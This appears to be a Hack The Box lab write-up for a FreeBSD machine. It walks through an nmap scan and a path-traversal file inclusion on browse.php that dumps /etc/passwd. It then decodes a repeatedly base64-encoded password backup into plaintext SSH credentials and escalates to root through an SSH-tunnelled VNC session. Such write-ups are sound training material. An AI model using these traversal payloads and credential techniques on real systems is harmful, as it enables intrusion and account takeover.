This was actually the first box i touched after getting on the htb platform. I couldnt work out how to root it at the time but after a few weeks i came back to figure it out.

#Nmap scan

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.2 (FreeBSD 20161230; protocol 2.0)
| ssh-hostkey: 
|   2048 e3:3b:7d:3c:8f:4b:8c:f9:cd:7f:d2:3a:ce:2d:ff:bb (RSA)
|   256 4c:e8:c6:02:bd:fc:83:ff:c9:80:01:54:7d:22:81:72 (ECDSA)
|_  256 0b:8f:d5:71:85:90:13:85:61:8b:eb:34:13:5f:94:3b (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((FreeBSD) PHP/5.6.32)
|_http-server-header: Apache/2.4.29 (FreeBSD) PHP/5.6.32
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).

The server is vulnerable to local file inclusions

http://10.10.10.84/browse.php?file=../../../../../../../../../../../../etc/passwd
# $FreeBSD: releng/11.1/etc/master.passwd 299365 2016-05-10 12:47:36Z bcr $ # root:*:0:0:Charlie &:/root:/bin/csh toor:*:0:0:Bourne-again Superuser:/root: daemon:*:1:1:Owner of many system processes:/root:/usr/sbin/nologin operator:*:2:5:System &:/:/usr/sbin/nologin bin:*:3:7:Binaries Commands and Source:/:/usr/sbin/nologin tty:*:4:65533:Tty Sandbox:/:/usr/sbin/nologin kmem:*:5:65533:KMem Sandbox:/:/usr/sbin/nologin games:*:7:13:Games pseudo-user:/:/usr/sbin/nologin news:*:8:8:News Subsystem:/:/usr/sbin/nologin man:*:9:9:Mister Man Pages:/usr/share/man:/usr/sbin/nologin sshd:*:22:22:Secure Shell Daemon:/var/empty:/usr/sbin/nologin smmsp:*:25:25:Sendmail Submission User:/var/spool/clientmqueue:/usr/sbin/nologin mailnull:*:26:26:Sendmail Default User:/var/spool/mqueue:/usr/sbin/nologin bind:*:53:53:Bind Sandbox:/:/usr/sbin/nologin unbound:*:59:59:Unbound DNS Resolver:/var/unbound:/usr/sbin/nologin proxy:*:62:62:Packet Filter pseudo-user:/nonexistent:/usr/sbin/nologin _pflogd:*:64:64:pflogd privsep user:/var/empty:/usr/sbin/nologin _dhcp:*:65:65:dhcp programs:/var/empty:/usr/sbin/nologin uucp:*:66:66:UUCP pseudo-user:/var/spool/uucppublic:/usr/local/libexec/uucp/uucico pop:*:68:6:Post Office Owner:/nonexistent:/usr/sbin/nologin auditdistd:*:78:77:Auditdistd unprivileged user:/var/empty:/usr/sbin/nologin www:*:80:80:World Wide Web Owner:/nonexistent:/usr/sbin/nologin _ypldap:*:160:160:YP LDAP unprivileged user:/var/empty:/usr/sbin/nologin hast:*:845:845:HAST unprivileged user:/var/empty:/usr/sbin/nologin nobody:*:65534:65534:Unprivileged user:/nonexistent:/usr/sbin/nologin _tss:*:601:601:TrouSerS user:/var/empty:/usr/sbin/nologin messagebus:*:556:556:D-BUS Daemon User:/nonexistent:/usr/sbin/nologin avahi:*:558:558:Avahi Daemon User:/nonexistent:/usr/sbin/nologin cups:*:193:193:Cups Owner:/nonexistent:/usr/sbin/nologin charix:*:1001:1001:charix:/home/charix:/bin/csh 

Theres also some other files on here that we can find by directory bruteforcing.

pwdbackup.txt is also on the server.

This password is secure, it's encoded atleast 13 times.. what could go wrong really.. Vm0wd2QyUXlVWGxWV0d4WFlURndVRlpzWkZOalJsWjBUVlpPV0ZKc2JETlhhMk0xVmpKS1IySkVU bGhoTVVwVVZtcEdZV015U2tWVQpiR2hvVFZWd1ZWWnRjRWRUTWxKSVZtdGtXQXBpUm5CUFdWZDBS bVZHV25SalJYUlVUVlUxU1ZadGRGZFZaM0JwVmxad1dWWnRNVFJqCk1EQjRXa1prWVZKR1NsVlVW M040VGtaa2NtRkdaR2hWV0VKVVdXeGFTMVZHWkZoTlZGSlRDazFFUWpSV01qVlRZVEZLYzJOSVRs WmkKV0doNlZHeGFZVk5IVWtsVWJXaFdWMFZLVlZkWGVHRlRNbEY0VjI1U2ExSXdXbUZEYkZwelYy eG9XR0V4Y0hKWFZscExVakZPZEZKcwpaR2dLWVRCWk1GWkhkR0ZaVms1R1RsWmtZVkl5YUZkV01G WkxWbFprV0dWSFJsUk5WbkJZVmpKMGExWnRSWHBWYmtKRVlYcEdlVmxyClVsTldNREZ4Vm10NFYw MXVUak5hVm1SSFVqRldjd3BqUjJ0TFZXMDFRMkl4WkhOYVJGSlhUV3hLUjFSc1dtdFpWa2w1WVVa T1YwMUcKV2t4V2JGcHJWMGRXU0dSSGJFNWlSWEEyVmpKMFlXRXhXblJTV0hCV1ltczFSVmxzVm5k WFJsbDVDbVJIT1ZkTlJFWjRWbTEwTkZkRwpXbk5qUlhoV1lXdGFVRmw2UmxkamQzQlhZa2RPVEZk WGRHOVJiVlp6VjI1U2FsSlhVbGRVVmxwelRrWlplVTVWT1ZwV2EydzFXVlZhCmExWXdNVWNLVjJ0 NFYySkdjR2hhUlZWNFZsWkdkR1JGTldoTmJtTjNWbXBLTUdJeFVYaGlSbVJWWVRKb1YxbHJWVEZT Vm14elZteHcKVG1KR2NEQkRiVlpJVDFaa2FWWllRa3BYVmxadlpERlpkd3BOV0VaVFlrZG9hRlZz WkZOWFJsWnhVbXM1YW1RelFtaFZiVEZQVkVaawpXR1ZHV210TmJFWTBWakowVjFVeVNraFZiRnBW VmpOU00xcFhlRmRYUjFaSFdrWldhVkpZUW1GV2EyUXdDazVHU2tkalJGbExWRlZTCmMxSkdjRFpO Ukd4RVdub3dPVU5uUFQwSwo=

Its been base64'd 13 times...
charix:Charix!2#4%6&8(0

pwning root

checking ps we can see that root is running vnc.

root     529   0.0  0.7  23620 6636 v0- I    Mon08      0:00.12 Xvnc :1 -desktop X -httpd /usr/local/share/tightvnc/classes -auth /root/.Xauthority -geometry 1280x800 -depth 24 -rfbwait 12000

We take the secret.zip from the server and unzip it. Since we have ssh credentials we can tunnel the data so we can use localhost to view the vnc session.

ssh -L 5901:127.0.0.1:5901 charix@10.10.10.84
vncviewer 127.0.0.1:5901 -passwd secret

We can now get the root flag.